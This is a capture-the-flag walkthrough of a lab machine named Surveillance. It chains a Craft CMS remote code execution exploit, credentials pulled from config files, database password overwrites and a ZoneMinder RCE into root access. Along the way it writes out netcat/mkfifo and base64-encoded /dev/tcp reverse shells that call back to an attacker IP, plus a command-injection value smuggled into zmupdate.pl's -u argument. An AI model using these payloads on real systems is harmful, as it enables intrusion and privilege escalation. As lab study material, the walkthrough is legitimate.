survelilance - [CVE-2023-4189, Command Injection]
Surveillance
Nmap Scan
nmap -sCV -p-
22/tcp open
ssh
OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|
256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_
256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open
http
nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 0B7345BDDB34DAEE691A08BF633AE076
| http-methods:
|_
Supported Methods: GET HEAD POST
|_http-title:
Surveillance
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service Enumeration
[+] Port 22
Version: OpenSSH 8.9p1
Public Exploit: None
[+] Port 80
Version: nginx 1.18.0
Public Exploit: None
Web Server
The web server runs on port port 80. You need to add Surveillance.htb to your /etc/hosts file.
> echo "- surveillance.htb" | sudo tee -a /etc/hosts
Visiting the page, you find a page built with craft CMS.
Directory Bruteforce
got an admin login page, but I need credentials to gain access to this endpoint.
Searching for vulnerabilities in craft cms
Downloading and using this exploit
https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226
> python3 exploit.py http://surveillance.htb
CVE- (Craft CMS Remote Code Execution) - POC
CVE- (Craft CMS Remote Code Execution) - POC - CVE--POC.md
gist.github.com
Initial Access
[+] Reverse Shell
- Using the RCE exploit in craft CMS, you should be able to spawn a reverse shell - by setting up a netcat listener
and blah blahh blahhh.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc- >/tmp/f
Post Exploitation
Lateral Movement
Curently gained shell as www-data, you need to move to a standard user.
Taking a step back from your current directory to /html/craft, you find the mysql database user credentials in the .env file
craftuser:CraftCMSPassword2023!
Accessing the database with this credentials
> mysql -ucraftuser -h localhost -p
Changing the password of user admin to secret
> update users set password='$2y$13$FfVKvo1W1N5Gsba3c19r8uz.x9R5NRQgRu8jmXvOjVCStg1sKGcoW' where id=1;
[+] Running linpeas
Found some db credentials in /usr/share/zoneminder/www/api/app/Config/database.php
zmuser:ZoneMinderPassword2023
Finding some information about the mysql binary running
The version of MySQL
Active ports on the machine.
[+] Port Forwarding
There is an web service running on localhost:8080 of the host - this is not accessible from the external network, you
can use socat to forward this port.
> ./socat tcp-l:2345,fork tcp:127.0.0.1:8080 &
[+] Enumerating the service using nmap
> nmap -p- -sCV
Remember we got creds for the ZM database from linpeas.
Visiting the website - Got a login page.
We don't have creds - so let's try accessing the DB from the target machine to change the admin user's password like we did
earlier.
> mysql -uzmuser -pZoneMinderPassword2023
Selecting the zm database and listing tables, we have a User table
> show databases;
> use zm;
> show tables;
> select * from Users;
Content of the Users table
> select * from Users;
Modify the admin user's password
> update Users set Password='$2y$13$FfVKvo1W1N5Gsba3c19r8uz.x9R5NRQgRu8jmXvOjVCStg1sKGcoW' where id=1;
Login using admin:secret
ZoneMinder I'm also broke :(
Getting the version of the current zoneminder installation
Checking zoneminder's releases on github to discover known exploit in this version
CVE-
An Unauthenticated RCE vulnerability was discovered in zoneminder version < 1.36.33, < 1.37.33 - The current version on the
target is less than 1.36.33 so it should be vulnerable.
Downloading an exploit online and running it - to send yourself a reverse shell.
GitHub - heapbytes/CVE-: POC script for CVE- (zoneminder 1.36.32)
POC script for CVE- (zoneminder 1.36.32) - GitHub - heapbytes/CVE-: POC script for CVE- (zoneminder 1.36.32)
github.com
In order to send a command that doesn't mess with the exploit, enocode the reverse shell payload in base64 - start your nc
listener first :)
> python3 zm-exploit.py
--target http://-:2345/ --cmd "echo
'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE0Ny80NDQgMD4mMQ==' | base64 -d | bash"
You should get a shell as user zoneminder
Privilege Escalation
Checking if the current user has sudo privileges set
> sudo -l
This user can any command that starts with zm and end with a .pl extension as the root user without password.
zmaudit.pl
zmcamtool.pl
zmcontrol.pl
zmdc.pl
zmfilter.pl
zmonvif-probe.pl
zmonvif-trigger.pl
zmpkg.pl
zmrecover.pl
zmstats.pl
zmsystemctl.pl
zmtelemetry.pl
zmtrack.pl
zmtrigger.pl
zmupdate.pl
zmvideo.pl
zmwatch.pl
zmx10.pl
gotta look for a way to run system commands through these files.
Command injection in zmupdate.pl - the user and password is not properly validated against malicious commands
my $command = 'mysqldump';
if ($super) {
$command .= ' --defaults-file=/etc/mysql/debian.cnf';
} elsif ($dbUser) {
$command .= ' -u'.$dbUser;
$command .= ' -p\''.$dbPass.'\'' if $dbPass;
}
if ( defined($portOrSocket) ) {
if ( $portOrSocket =~ /^\// ) {
$command .= ' -S'.$portOrSocket;
} else {
$command .= ' -h'.$host.' -P'.$portOrSocket;
}
} else {
$command .= ' -h'.$host;
}
my $backup = '/tmp/zm/'.$Config{ZM_DB_NAME}.'-'.$version.'.dump';
$command .= ' --add-drop-table --databases '.$Config{ZM_DB_NAME}.' > '.$backup;
print("Creating backup to $backup. This may take several minutes.\n");
($command) = $command =~ /(.*)/; # detaint
print("Executing '$command'\n") if logDebugging();
my $output = qx($command);
> sudo zmupdate.pl -v 1.19.0 -u ';chown root /tmp/bash; chmod u+s /tmp/bash'
SUID set bash
Running binary - root :)